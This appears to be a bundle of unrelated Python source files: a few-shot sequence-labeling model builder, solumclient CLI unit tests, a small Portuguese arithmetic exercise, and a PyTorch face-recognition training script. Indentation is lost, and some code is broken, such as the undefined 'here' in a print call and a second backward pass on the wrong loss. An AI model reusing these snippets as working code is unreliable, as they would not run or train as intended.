raise NotImplementedError
elif opt.context_emb == 'glove':
context_embedder = NormalContextEmbedder(opt=opt, num_token=len(opt.word2id))
context_embedder.load_embedding()
elif opt.context_emb == 'raw':
context_embedder = NormalContextEmbedder(opt=opt, num_token=len(opt.word2id))
else:
raise TypeError('wrong component type')
''' Create log file to record testing data '''
if opt.emb_log:
emb_log = open(os.path.join(opt.output_dir, 'emb.log'), 'w')
if 'id2label' in config:
emb_log.write('id2label\t' + '\t'.join([str(k) + ':' + str(v) for k, v in config['id2label'].items()]) + '\n')
else:
emb_log = None
'''Build emission scorer and similarity scorer '''
# build scaler
ems_normalizer = build_scale_controller(name=opt.emission_normalizer)
ems_scaler = build_scale_controller(
name=opt.emission_scaler, kwargs=make_scaler_args(opt.emission_scaler, ems_normalizer, opt.ems_scale_r))
if opt.similarity == 'dot':
sim_func = reps_dot
elif opt.similarity == 'cosine':
sim_func = reps_cosine_sim
elif opt.similarity == 'l2':
sim_func = reps_l2_sim
else:
raise TypeError('wrong component type')
if opt.emission == 'mnet':
similarity_scorer = MatchingSimilarityScorer(sim_func=sim_func, emb_log=emb_log)
emission_scorer = MNetEmissionScorer(similarity_scorer, ems_scaler, opt.div_by_tag_num)
elif opt.emission == 'proto':
similarity_scorer = PrototypeSimilarityScorer(sim_func=sim_func, emb_log=emb_log)
emission_scorer = PrototypeEmissionScorer(similarity_scorer, ems_scaler)
elif opt.emission == 'proto_with_label':
similarity_scorer = ProtoWithLabelSimilarityScorer(sim_func=sim_func, scaler=opt.ple_scale_r, emb_log=emb_log)
emission_scorer = ProtoWithLabelEmissionScorer(similarity_scorer, ems_scaler)
elif opt.emission == 'tapnet':
# set num of anchors:
# (1) if provided in config, use it (usually in load model case.)
# (2) *3 is used to ensure enough anchors ( > num_tags of unseen domains )
num_anchors = config['num_anchors'] if 'num_anchors' in config else config['num_tags'] * 3
config['num_anchors'] = num_anchors
anchor_dim = 256 if opt.context_emb == 'electra' else 768
similarity_scorer = TapNetSimilarityScorer(
sim_func=sim_func, num_anchors=num_anchors, mlp_out_dim=opt.tap_mlp_out_dim,
random_init=opt.tap_random_init, random_init_r=opt.tap_random_init_r,
mlp=opt.tap_mlp, emb_log=emb_log, tap_proto=opt.tap_proto, tap_proto_r=opt.tap_proto_r,
anchor_dim=anchor_dim)
emission_scorer = TapNetEmissionScorer(similarity_scorer, ems_scaler)
else:
raise TypeError('wrong component type')
''' Build decoder '''
if opt.task == 'sl': # for sequence labeling
if opt.decoder == 'sms':
transition_scorer = None
decoder = SequenceLabeler()
elif opt.decoder == 'rule':
transition_scorer = None
decoder = RuleSequenceLabeler(config['id2label'])
elif opt.decoder == 'crf':
# logger.info('We only support back-off trans training now!')
# Notice: only train back-off now
trans_normalizer = build_scale_controller(name=opt.trans_normalizer)
trans_scaler = build_scale_controller(
name=opt.trans_scaler, kwargs=make_scaler_args(opt.trans_scaler, trans_normalizer, opt.trans_scale_r))
if opt.transition == 'learn':
transition_scorer = FewShotTransitionScorer(
num_tags=config['num_tags'], normalizer=trans_normalizer, scaler=trans_scaler,
r=opt.trans_r, backoff_init=opt.backoff_init)
elif opt.transition == 'learn_with_label':
label_trans_normalizer = build_scale_controller(name=opt.label_trans_normalizer)
label_trans_scaler = build_scale_controller(name=opt.label_trans_scaler, kwargs=make_scaler_args(
opt.label_trans_scaler, label_trans_normalizer, opt.label_trans_scale_r))
transition_scorer = FewShotTransitionScorerFromLabel(
num_tags=config['num_tags'], normalizer=trans_normalizer, scaler=trans_scaler,
r=opt.trans_r, backoff_init=opt.backoff_init, label_scaler=label_trans_scaler)
else:
raise ValueError('Wrong choice of transition.')
if opt.add_transition_rules and 'id2label' in config: # 0 is [PAD] label id, here remove it.
non_pad_id2label = copy.deepcopy(config['id2label']).__delitem__(0)
for k, v in non_pad_id2label.items():
non_pad_id2label[k] = v - 1 # we 0 as [PAD] label id, here remove it.
constraints = allowed_transitions(constraint_type='BIO', labels=non_pad_id2label)
else:
constraints = None
decoder = ConditionalRandomField(
num_tags=transition_scorer.num_tags, constraints=constraints) # accurate tags
else:
raise TypeError('wrong component type')
elif opt.task == 'sc': # for single-label text classification task
decoder = SingleLabelTextClassifier()
else:
raise TypeError('wrong task type')
''' Build the whole model '''
if opt.task == 'sl':
seq_labeler = SchemaFewShotSeqLabeler if opt.use_schema else FewShotSeqLabeler
model = seq_labeler(
opt=opt,
context_embedder=context_embedder,
emission_scorer=emission_scorer,
decoder=decoder,
transition_scorer=transition_scorer,
config=config,
emb_log=emb_log
)
elif opt.task == 'sc':
text_classifier = SchemaFewShotTextClassifier if opt.use_schema else FewShotTextClassifier
model = text_classifier(
opt=opt,
context_embedder=context_embedder,
emission_scorer=emission_scorer,
decoder=decoder,
config=config,
emb_log=emb_log
)
else:
raise TypeError('wrong task type')
return model
def load_model(path):
try:
with open(path, 'rb') as reader:
cpt = torch.load(reader, map_location='cpu')
model = make_model(opt=cpt['opt'], config=cpt['config'])
model = prepare_model(args=cpt['opt'], model=model, device=cpt['opt'].device, n_gpu=cpt['opt'].n_gpu)
model.load_state_dict(cpt['state_dict'])
return model
except IOError as e:
logger.info("Failed to load model from {} \n {}".format(path, e))
return None
def get_value_from_order_dict(order_dict, key):
""""""
for k, v in order_dict.items():
if key in k:
return v
return []
|
nilq/baby-python
|
python
|
# Copyright 2013 - Noorul Islam K M
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from io import StringIO
from unittest import mock
import collections
import re
import sys
import fixtures
from oslo_utils import uuidutils
from stevedore import extension
import testtools
from testtools import matchers
from solumclient import client
from solumclient.common.apiclient import auth
from solumclient.common import yamlutils
from solumclient import solum
from solumclient.tests import base
from solumclient.v1 import component
from solumclient.v1 import languagepack
from solumclient.v1 import pipeline
from solumclient.v1 import plan
FAKE_ENV = {'OS_USERNAME': 'username',
'OS_PASSWORD': 'password',
'OS_TENANT_NAME': 'tenant_name',
'OS_AUTH_URL': 'http://no.where'}
languagepack_file_data = (
'{"language-pack-type":"Java", "language-pack-name":"Java version 1.4."}')
class MockEntrypoint(object):
def __init__(self, name, plugin):
self.name = name
self.plugin = plugin
class BaseFakePlugin(auth.BaseAuthPlugin):
def _do_authenticate(self, http_client):
pass
def token_and_endpoint(self, endpoint_type, service_type):
pass
class TestSolum(base.TestCase):
"""Test the Solum CLI."""
re_options = re.DOTALL | re.MULTILINE
# Patch os.environ to avoid required auth info.
def make_env(self, exclude=None):
env = dict((k, v) for k, v in FAKE_ENV.items() if k != exclude)
self.useFixture(fixtures.MonkeyPatch('os.environ', env))
@mock.patch.object(extension.ExtensionManager, "map")
def shell(self, argstr, mock_mgr_map, exit_code=0):
class FakePlugin(BaseFakePlugin):
def authenticate(self, cls):
cls.request(
"POST", "http://auth/tokens",
json={"fake": "me"}, allow_redirects=True)
mock_mgr_map.side_effect = (
lambda func: func(MockEntrypoint("fake", FakePlugin)))
orig = sys.stdout
try:
sys.stdout = StringIO()
argv = [__file__, ]
argv.extend(argstr.split())
self.useFixture(
fixtures.MonkeyPatch('sys.argv', argv))
solum.main()
except SystemExit:
exc_type, exc_value, exc_traceback = sys.exc_info()
self.assertEqual(exit_code, exc_value.code)
finally:
out = sys.stdout.getvalue()
sys.stdout.close()
sys.stdout = orig
return out
@testtools.skip("Skip it when found solution")
def test_get_client_debug(self):
env = dict((k, v) for k, v in FAKE_ENV.items() if k is not None)
test_client = client.get_client('1', **env)
self.assertFalse(test_client.http_client.debug)
test_client = client.get_client('1', debug=True)
self.assertTrue(test_client.http_client.debug)
@testtools.skip("Skip it when found solution")
def test_get_client_insecure(self):
env = dict((k, v) for k, v in FAKE_ENV.items() if k is not None)
test_client = client.get_client('1', **env)
self.assertTrue(test_client.http_client.verify)
test_client = client.get_client('1', verify=False)
self.assertFalse(test_client.http_client.verify)
def test_help(self):
required = [
'.*?^Available commands:'
]
help_text = self.shell('--help')
for r in required:
self.assertThat(help_text,
matchers.MatchesRegex(r,
self.re_options))
# Workflow Tests #
def test_workflow_error(self):
self.make_env()
out = self.shell("workflow unknown-command")
self.assertIn("Available commands", out)
# Pipeline Tests #
@mock.patch.object(pipeline.PipelineManager, "list")
def test_pipeline_list(self, mock_pipeline_list):
self.make_env()
self.shell("pipeline list")
mock_pipeline_list.assert_called_once_with()
@mock.patch.object(pipeline.PipelineManager, "create")
def test_pipeline_create(self, mock_pipeline_create):
self.make_env()
self.shell("pipeline create http://example.com/a.yaml workbook test")
mock_pipeline_create.assert_called_once_with(
name='test',
workbook_name='workbook',
plan_uri='http://example.com/a.yaml')
@mock.patch.object(pipeline.PipelineManager, "create")
def test_pipeline_create_without_name(self, mock_pipeline_create):
self.make_env()
self.shell("pipeline create http://example.com/a.yaml workbook",
exit_code=2)
@mock.patch.object(plan.PlanManager, "find")
@mock.patch.object(pipeline.PipelineManager, "create")
def test_pipeline_create_with_plan_name(self, mock_pipeline_create,
mock_plan_find):
class FakePlan(object):
uri = 'http://example.com/the-plan.yaml'
self.make_env()
mock_plan_find.return_value = FakePlan()
self.shell("pipeline create the-plan-name workbook test")
mock_plan_find.assert_called_once_with(name_or_id='the-plan-name')
mock_pipeline_create.assert_called_once_with(
name='test',
workbook_name='workbook',
plan_uri='http://example.com/the-plan.yaml')
@mock.patch.object(pipeline.PipelineManager, "delete")
@mock.patch.object(pipeline.PipelineManager, "find")
def test_pipeline_delete(self, mock_pipeline_find, mock_pipeline_delete):
self.make_env()
the_id = uuidutils.generate_uuid()
self.shell("pipeline delete %s" % the_id)
mock_pipeline_find.assert_called_once_with(
name_or_id=the_id)
self.assertEqual(1, mock_pipeline_delete.call_count)
@mock.patch.object(pipeline.PipelineManager, "find")
def test_pipeline_get(self, mock_pipeline_find):
self.make_env()
the_id = uuidutils.generate_uuid()
self.shell("pipeline show %s" % the_id)
mock_pipeline_find.assert_called_once_with(name_or_id=the_id)
@mock.patch.object(pipeline.PipelineManager, "find")
def test_pipeline_get_by_name(self, mock_pipeline_find):
self.make_env()
self.shell("pipeline show app2")
mock_pipeline_find.assert_called_once_with(name_or_id='app2')
# App Tests #
def test_app_create_with_missing_workflow_config(self):
raw_data = 'version: 1\nname: ex_app\nworkflow_config:\n'
mopen = mock.mock_open(read_data=raw_data)
with mock.patch('%s.open' % solum.__name__, mopen, create=True):
self.make_env()
out = self.shell("app create --app-file /dev/null")
self.assertEqual("ERROR: Workflow config cannot be empty\n", out)
def test_app_create_with_missing_trigger_actions(self):
raw_data = 'version: 1\nname: ex_app\ntrigger_actions:\n'
mopen = mock.mock_open(read_data=raw_data)
with mock.patch('%s.open' % solum.__name__, mopen, create=True):
self.make_env()
out = self.shell("app create --app-file /dev/null")
self.assertEqual("ERROR: Trigger actions cannot be empty\n", out)
def test_app_create_with_bad_name(self):
raw_data = '\n'.join([
'version: 1',
'name: ex=app1',
'description: python web app',
'workflow_config:',
' run_cmd: python app.py',
'ports: [5000]'])
mopen = mock.mock_open(read_data=raw_data)
with mock.patch('%s.open' % solum.__name__, mopen, create=True):
self.make_env()
out = self.shell("app create --app-file /dev/null")
self.assertEqual("ERROR: Application name must be 1-100 "
"characters long, only contain a-z,0-9,-,_ and "
"start with an alphabet character.\n", out)
# OldApp Tests #
def test_oldapp_create_with_missing_artifacts(self):
raw_data = 'version: 1\nname: ex_plan1\ndescription: dsc1.'
mopen = mock.mock_open(read_data=raw_data)
with mock.patch('%s.open' % solum.__name__, mopen, create=True):
self.make_env()
out = self.shell("oldapp create --plan-file /dev/null")
self.assertEqual("ERROR: Missing artifacts section\n", out)
def test_oldapp_create_with_bad_name(self):
raw_data = '\n'.join([
'version: 1',
'name: ex=plan1',
'description: python web app',
'artifacts:',
'- name: web',
' content:',
' href: https://github.com/user/repo.git',
' language_pack: auto',
' unittest_cmd: ./unit_tests.sh',
' run_cmd: python app.py',
' ports: 5000'])
mopen = mock.mock_open(read_data=raw_data)
with mock.patch('%s.open' % solum.__name__, mopen, create=True):
self.make_env()
out = self.shell("oldapp create --plan-file /dev/null")
self.assertEqual("ERROR: Application name must be 1-100 "
"characters long, only contain a-z,0-9,-,_ and "
"start with an alphabet character.\n", out)
@testtools.skip("Skip it when found solution")
def test_oldapp_create_with_bad_artifact_name(self):
raw_data = '\n'.join([
'version: 1',
'name: explan1',
'description: python web app',
'artifacts:',
'- name:',
' content:',
' href: https://github.com/user/repo.git',
' language_pack: auto',
' unittest_cmd: ./unit_tests.sh',
' run_cmd: python app.py',
' ports: 5000'])
mopen = mock.mock_open(read_data=raw_data)
with mock.patch('%s.open' % solum.__name__, mopen, create=True):
self.make_env()
out = self.shell("oldapp create --plan-file /dev/null")
# No part of the plan is in error; the next step in the test
# is authorization, which is deliberately mocked.
self.assertIn("ERROR: Authorization Failed:", out)
self.assertIn("http://no.where/tokens", out)
def test_oldapp_create_with_artifacts_empty(self):
raw_data = 'version: 1\nname: ex_plan1\ndescription: dsc1.\nartifacts:'
mopen = mock.mock_open(read_data=raw_data)
with mock.patch('%s.open' % solum.__name__, mopen, create=True):
self.make_env()
out = self.shell("oldapp create --plan-file /dev/null")
self.assertEqual("ERROR: Artifacts cannot be empty\n", out)
def test_oldapp_create_with_artifacts_no_content(self):
raw_data = 'version: 1\nname: ex_plan1\ndescription: d1.\nartifacts:\n'
raw_data += '- name: asdfds\n'
raw_data += ' artifact_type: heroku\n'
raw_data += ' language_pack: lp'
mopen = mock.mock_open(read_data=raw_data)
with mock.patch('%s.open' % solum.__name__, mopen, create=True):
self.make_env()
out = self.shell("oldapp create --plan-file /dev/null")
self.assertEqual("ERROR: Artifact content missing\n", out)
# Plan Tests #
@mock.patch.object(plan.PlanManager, "create")
def test_plan_create(self, mock_plan_create):
FakeResource = collections.namedtuple("FakeResource",
"uuid name description uri")
mock_plan_create.return_value = FakeResource('foo', 'foo', 'foo',
'foo')
raw_data = 'version: 1\nname: ex_plan1\ndescription: dsc1.'
plan_data = yamlutils.dump(yamlutils.load(raw_data))
mopen = mock.mock_open(read_data=raw_data)
with mock.patch('%s.open' % solum.__name__, mopen, create=True):
self.make_env()
self.shell("plan create /dev/null")
mock_plan_create.assert_called_once_with(plan_data)
@mock.patch.object(plan.PlanManager, "create")
def test_plan_create_with_private_github_repo(self, mock_plan_create):
FakeResource = collections.namedtuple(
"FakeResource", "uuid name description uri artifacts")
mock_plan_create.return_value = FakeResource('foo', 'foo', 'foo',
'foo', 'artifacts')
expected_printed_dict_args = mock_plan_create.return_value._asdict()
expected_printed_dict_args.pop('artifacts')
raw_data = 'version: 1\nname: ex_plan1\ndescription: dsc1.'
plan_data = yamlutils.dump(yamlutils.load(raw_data))
mopen = mock.mock_open(read_data=raw_data)
with mock.patch('%s.open' % solum.__name__, mopen, create=True):
self.make_env()
self.shell("plan create /dev/null")
mock_plan_create.assert_called_once_with(plan_data)
@mock.patch.object(plan.PlanManager, "list")
def test_plan_list(self, mock_plan_list):
self.make_env()
self.shell("plan list")
mock_plan_list.assert_called_once_with()
@mock.patch.object(plan.PlanManager, "delete")
@mock.patch.object(plan.PlanManager, "find")
def test_plan_delete(self, mock_plan_find, mock_plan_delete):
self.make_env()
the_id = uuidutils.generate_uuid()
self.shell("plan delete %s" % the_id)
mock_plan_find.assert_called_once_with(name_or_id=the_id)
self.assertEqual(1, mock_plan_delete.call_count)
@mock.patch.object(plan.PlanManager, "find")
def test_plan_get(self, mock_plan_find):
self.make_env()
the_id = uuidutils.generate_uuid()
self.shell("plan show %s" % the_id)
mock_plan_find.assert_called_once_with(name_or_id=the_id)
@mock.patch.object(plan.PlanManager, "find")
def test_plan_get_private_github_repo(self, mock_plan_find):
self.make_env()
the_id = uuidutils.generate_uuid()
FakeResource = collections.namedtuple(
"FakeResource", "uuid name description uri artifacts")
mock_plan_find.return_value = FakeResource('foo', 'foo', 'foo', 'foo',
'artifacts')
self.shell("plan show %s" % the_id)
mock_plan_find.assert_called_once_with(name_or_id=the_id)
# LanguagePack Tests #
@mock.patch.object(languagepack.LanguagePackManager, "list")
def test_languagepack_list(self, mock_lp_list):
self.make_env()
self.shell("languagepack list")
self.assertEqual(1, mock_lp_list.call_count)
@mock.patch.object(languagepack.LanguagePackManager, "create")
def test_languagepack_create(self, mock_lp_create):
FakeResource = collections.namedtuple("FakeResource",
"uuid name description "
"compiler_versions os_platform")
mock_lp_create.return_value = FakeResource(
'foo', 'foo', 'foo', 'foo', 'foo')
lp_metadata = '{"OS": "Ubuntu"}'
mopen = mock.mock_open(read_data=lp_metadata)
with mock.patch('%s.open' % solum.__name__, mopen, create=True):
self.make_env()
self.shell("languagepack create lp_name github.com/test "
"--lp_metadata=/dev/null")
mock_lp_create.assert_called_once_with(
name='lp_name',
source_uri='github.com/test',
lp_metadata=lp_metadata,
lp_params={})
@mock.patch.object(languagepack.LanguagePackManager, "delete")
def test_languagepack_delete(self, mock_lp_delete):
self.make_env()
self.shell("languagepack delete fake-lp-id")
mock_lp_delete.assert_called_once_with(lp_id='fake-lp-id')
@mock.patch.object(languagepack.LanguagePackManager, "find")
def test_languagepack_get(self, mock_lp_get):
self.make_env()
self.shell("languagepack show fake-lp-id1")
mock_lp_get.assert_called_once_with(name_or_id='fake-lp-id1')
# Component Tests #
@mock.patch.object(component.ComponentManager, "list")
def test_component_list(self, mock_component_list):
self.make_env()
self.shell("component list")
mock_component_list.assert_called_once_with()
@mock.patch.object(component.ComponentManager, "find")
def test_component_get(self, mock_component_find):
self.make_env()
the_id = uuidutils.generate_uuid()
self.shell("component show %s" % the_id)
mock_component_find.assert_called_once_with(name_or_id=the_id)
@mock.patch.object(component.ComponentManager, "find")
def test_component_get_by_name(self, mock_component_find):
self.make_env()
self.shell("component show comp1")
mock_component_find.assert_called_once_with(name_or_id='comp1')
def test_transform_git_url(self):
private_uri = 'git@github.com:solum/python.git'
public_uri = 'https://github.com/solum/python.git'
private = True
public = False
result = solum.transform_git_url(private_uri, private)
self.assertEqual(result, private_uri)
result = solum.transform_git_url(public_uri, private)
self.assertEqual(result, private_uri)
result = solum.transform_git_url(private_uri, public)
self.assertEqual(result, public_uri)
result = solum.transform_git_url(public_uri, public)
self.assertEqual(result, public_uri)
|
nilq/baby-python
|
python
|
"""
Crie um módulo chamado moeda.py que tenha as funções incorporadas aumentar(),
diminuir(), dobro() e metade(). Faça também um programa que importe esse módulo e
use algumas dessas funções.
"""
import moeda
from exercicios.geral import tratamento
p = tratamento.leiaFloat('Digite o preço: R$', 'preço')
print(f'A metade de {p} é {moeda.metade(p)}')
print(f'O dobro de {p} é {moeda.dobro(p)}')
print(f'Aumentando 10%, temos {moeda.aumentar(p, 10)}')
print(f'Reduzindo 13%, temos {moeda.diminuir(p, 13)}')
|
nilq/baby-python
|
python
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2021/5/12 14:44
# @Author : PPq
from __future__ import print_function
import argparse
import os
import shutil
import time
from torch.nn import DataParallel
import torch
import torch.nn as nn
import torch.nn.parallel
import torch.backends.cudnn as cudnn
import torch.optim
import torch.utils.data
import torchvision.transforms as transforms
import torchvision.datasets as datasets
from torch.utils.data import DataLoader
from core import IDR
from core.utils import init_log
from dataloader.CASIA_NIR_VIS_IDR import CASIA_NIR_VIS
import numpy as np
from load_imglist import ImageList
parser = argparse.ArgumentParser(description='PyTorch Light CNN Training')
parser.add_argument('--arch', '-a', metavar='ARCH', default='LightCNN')
parser.add_argument('--cuda', '-c', default=True)
parser.add_argument('-j', '--workers', default=4, type=int, metavar='N',
help='number of data loading workers (default: 16)')
parser.add_argument('--epochs', default=70, type=int, metavar='N',
help='number of total epochs to run')
parser.add_argument('--start-epoch', default=0, type=int, metavar='N',
help='manual epoch number (useful on restarts)')
parser.add_argument('-b', '--batch-size', default=128, type=int,
metavar='N', help='mini-batch size (default: 128)')
parser.add_argument('--lr', '--learning-rate', default=1e-2, type=float,
metavar='LR', help='initial learning rate')
parser.add_argument('--momentum', default=0.9, type=float, metavar='M',
help='momentum')
parser.add_argument('--weight-decay', '--wd', default=1e-4, type=float,
metavar='W', help='weight decay (default: 1e-4)')
parser.add_argument('--print-freq', '-p', default=20, type=int,
metavar='N', help='print frequency (default: 100)')
parser.add_argument('--model', default='IDRnet', type=str, metavar='Model',
help='model type: IDRnet')
parser.add_argument('--resume', default='/root/NIR_VIS_Face_Recognition-master/model/LightCNN_9Layers_checkpoint.pth.tar', type=str, metavar='PATH',
help='path to latest checkpoint (default: none)')
parser.add_argument('--root_path', default='', type=str, metavar='PATH',
help='path to root path of images (default: none)')
parser.add_argument('--train_dir',
default='/root/NIR_VIS_Face_Recognition-master/dataset/CASIA_NIR_VIS_2.0/NIR-VIS-2.0', type=str,
metavar='PATH',
help='path to training list (default: none)')
parser.add_argument('--val_dir', default='/root/NIR_VIS_Face_Recognition-master/dataset/CASIA_NIR_VIS_2.0/NIR-VIS-2.0',
type=str, metavar='PATH',
help='path to validation list (default: none)')
parser.add_argument('--save_path', default='model/tmp/', type=str, metavar='PATH',
help='path to save checkpoint (default: none)')
parser.add_argument('--num_classes', default=839, type=int,
metavar='N', help='number of classes')
def main():
global args
args = parser.parse_args()
# create Light CNN for face recognition
if args.model == 'IDRnet':
model = IDR.IDRnet(num_classes=args.num_classes)
else:
print('Error model type\n')
if args.cuda:
model = torch.nn.DataParallel(model).cuda()
'''
print(model.module)
for name, value in model.named_parameters():
print(name, value.shape)
'''
# large lr for last fc parameters
basic_params = []
for name, value in model.module.basic_layer.named_parameters():
if 'bias' in name:
basic_params += [{'params': value, 'lr': 2 * args.lr, 'weight_decay': 0}] #2
else:
basic_params += [{'params': value, 'lr': 1 * args.lr}] #1
basic_opt = torch.optim.SGD(basic_params, args.lr,
momentum=args.momentum,
weight_decay=args.weight_decay)
# large lr for last fc parameters
feat_params = []
for name, value in model.module.feature_layer.named_parameters():
if 'bias' in name:
if 'fc' in name: #fc2.bias
feat_params += [{'params': value, 'lr': 0.1 * args.lr, 'weight_decay': 0}]
else: #bias
feat_params += [{'params': value, 'lr': 0.1 * args.lr, 'weight_decay': 0}]
else:
if 'fc' in name: #fc.weight
feat_params += [{'params': value, 'lr': 0.1 * args.lr}]
else: #weight
feat_params += [{'params': value, 'lr': 0.1 * args.lr}]
feat_opt = torch.optim.SGD(feat_params, args.lr, momentum = args.momentum, weight_decay = args.weight_decay)
optimizer = [basic_opt, feat_opt]
# optionally resume from a checkpoint
if args.resume:
if os.path.isfile(args.resume):
print("=> loading checkpoint '{}'".format(args.resume))
#args.start_epoch = checkpoint['epoch']
args.start_epoch = 0
checkpoint = torch.load(args.resume)
if 'LightCNN9' in args.resume:
print(here)
del(checkpoint['state_dict']['module.fc1.filter.weight'])
del(checkpoint['state_dict']['module.fc1.filter.bias'])
del(checkpoint['state_dict']['module.fc2.weight'])
del(checkpoint['state_dict']['module.fc2.bias'])
name = [key[7:] for key in checkpoint['state_dict'].keys()]
value = checkpoint['state_dict'].values()
new_state_dict = dict(zip(name, value))
#print(list(checkpoint['state_dict'].keys()))
model_dict = model.module.basic_layer.state_dict()
model_dict.update(new_state_dict)
model.module.basic_layer.load_state_dict(model_dict)
#print("=> loaded checkpoint '{}' (epoch {})".format(args.resume, checkpoint['epoch']))
else:
print("=> no checkpoint found at '{}'".format(args.resume))
weight_init(model)
cudnn.benchmark = True
# load image
all_transform = transforms.Compose([
transforms.Grayscale(1),
transforms.ToTensor(),
])
# define trainloader and testloader
trainset = CASIA_NIR_VIS(root=args.train_dir, transform=all_transform)
train_loader = torch.utils.data.DataLoader(trainset, batch_size=args.batch_size,
shuffle=True, num_workers=8, drop_last=False)
valset = CASIA_NIR_VIS(root=args.val_dir, transform=all_transform, test=True)
val_loader = torch.utils.data.DataLoader(valset, batch_size=32,
shuffle=False, num_workers=8, drop_last=False)
# define loss function and optimizer
basic_criterion = nn.CrossEntropyLoss()
total_critertion = IDRLoss()
criterion = [basic_criterion, total_critertion]
if args.cuda:
for cri in criterion:
cri.cuda()
validate(val_loader, model, criterion)
for epoch in range(args.start_epoch, args.epochs):
if epoch == 50:
print('Change lr')
for param_group in basic_opt.param_groups:
param_group['lr'] = 1e-5
for param_group in feat_opt.param_groups:
param_group['lr'] = 1e-5
# train for one epoch
train(train_loader, model, criterion, optimizer, epoch)
# evaluate on validation set
prec1 = validate(val_loader, model, criterion)
save_name = args.save_path + 'lightCNN_' + str(epoch + 1) + '_checkpoint.pth.tar'
save_checkpoint({
'epoch': epoch + 1,
'arch': args.arch,
'state_dict': model.state_dict(),
'prec1': prec1,
}, save_name)
def train(train_loader, model, criterion, optimizer, epoch):
batch_time = AverageMeter()
data_time = AverageMeter()
losses = AverageMeter()
top1 = AverageMeter()
top5 = AverageMeter()
model.train()
end = time.time()
for i, (input, target, idt) in enumerate(train_loader):
data_time.update(time.time() - end)
input = input.cuda()
# print(input.shape)
target = target.cuda()
idt = idt.cuda()
input_var = torch.autograd.Variable(input)
target_var = torch.autograd.Variable(target)
idt_var = torch.autograd.Variable(idt)
# compute output
output, _ = model(input_var, idt_var)
basic_loss = criterion[0](output, target_var)
# compute gradient and do SGD step
optimizer[0].zero_grad()
basic_loss.backward()
optimizer[0].step()
pn = model.module.feature_layer.unique_mfm1.filter.weight
pv = model.module.feature_layer.unique_mfm2.filter.weight
w = model.module.feature_layer.shared_mfm.filter.weight
output, _ = model(input_var, idt_var)
loss = criterion[1](output, target_var, w, pn, pv)
optimizer[1].zero_grad()
basic_loss.backward()
optimizer[1].step()
# measure accuracy and record loss
prec1, prec5 = accuracy(output.data, target, topk=(1, 5))
# print('\nprec1:{}, prec5:{}'.format(prec1, prec5))
losses.update(loss.data.item(), input.size(0))
top1.update(prec1.item(), input.size(0))
top5.update(prec5.item(), input.size(0))
# measure elapsed time
batch_time.update(time.time() - end)
end = time.time()
if i % args.print_freq == 0:
print('Epoch: [{0}][{1}/{2}]\t'
'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\t'
'Data {data_time.val:.3f} ({data_time.avg:.3f})\t'
'Loss {loss.val:.4f} ({loss.avg:.4f})\t'
'Prec@1 {top1.val:.3f} ({top1.avg:.3f})\t'
'Prec@5 {top5.val:.3f} ({top5.avg:.3f})'.format(
epoch, i, len(train_loader), batch_time=batch_time,
data_time=data_time, loss=losses, top1=top1, top5=top5))
def validate(val_loader, model, criterion):
batch_time = AverageMeter()
losses = AverageMeter()
top1 = AverageMeter()
top5 = AverageMeter()
# switch to evaluate mode
model.eval()
end = time.time()
for i, (input, target, idt) in enumerate(val_loader):
input = input.cuda()
#print('input.shape : {}'.format(input.shape))
target = target.cuda()
idt = idt.cuda()
input_var = input.clone().detach()
target_var = target.clone().detach()
idt_var = idt.clone().detach()
# compute output
output, _ = model(input_var, idt_var)
#print('output.shape: {}'.format(output.shape))
pn = model.module.feature_layer.unique_mfm1.filter.weight
pv = model.module.feature_layer.unique_mfm2.filter.weight
w = model.module.feature_layer.shared_mfm.filter.weight
loss = criterion[1](output, target_var, w, pn, pv)
# measure accuracy and record loss
prec1, prec5 = accuracy(output.data, target, topk=(1, 5))
# print('\nprec1:{}, prec5:{}'.format(prec1, prec5))
losses.update(loss.data.item(), input.size(0))
top1.update(prec1.item(), input.size(0))
top5.update(prec5.item(), input.size(0))
print('\ntop1.sum: {}, top1.count: {}'.format(top1.sum, top1.count))
print('\nTest set: Average loss: {}, Accuracy: ({})\n'.format(losses.avg, top1.avg))
return top1.avg
def save_checkpoint(state, filename):
torch.save(state, filename)
class AverageMeter(object):
"""Computes and stores the average and current value"""
def __init__(self):
self.reset()
def reset(self):
self.val = 0
self.avg = 0
self.sum = 0
self.count = 0
def update(self, val, n=1):
self.val = val
self.sum += val * n
self.count += n
self.avg = self.sum / self.count
def accuracy(output, target, topk=(1,)):
"""Computes the precision@k for the specified values of k"""
maxk = max(topk)
batch_size = target.size(0)
# (batch, feature)，从每个feature选择topk
_, pred = output.topk(maxk, 1, True, True)
# 转置
pred = pred.t()
correct = pred.eq(target.view(1, -1).expand_as(pred))
res = []
for k in topk:
# 计算有多少个预测正确
correct_k = correct[:k].view(-1).float().sum(0)
res.append(correct_k.mul_(100.0 / batch_size))
return res
def weight_init(model):
#print(type(model.named_parameters()))
for name, param in model.named_parameters():
if 'mfm' in name and 'weight' in name:
print(name)
nn.init.uniform_(param, -1.0/(param.size(0) ** 0.5), 1.0 / (param.size(0) ** 0.5))
class IDRLoss(nn.Module):
def __init__(self, lamda=2e-4):
super(IDRLoss, self).__init__()
self.lamda = lamda
self.ce_loss = nn.CrossEntropyLoss()
def forward(self, x, target, w, pn, pv):
loss1 = self.ce_loss(x, target)
loss2 = self.lamda * (torch.norm(torch.mm(pn.t(), w), p='fro') ** 2) + \
self.lamda * (torch.norm(torch.mm(pv.t(), w), p = 'fro') ** 2)
#print('loss1 : {}, loss2: {}'.format(loss1, loss2))
return loss1 + loss2
if __name__ == '__main__':
main()
|
nilq/baby-python
|
python
|
# Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import sys
import os
import numpy as np
from sklearn.metrics import f1_score
import paddle as P
from paddle.nn import functional as F
import propeller.paddle as propeller
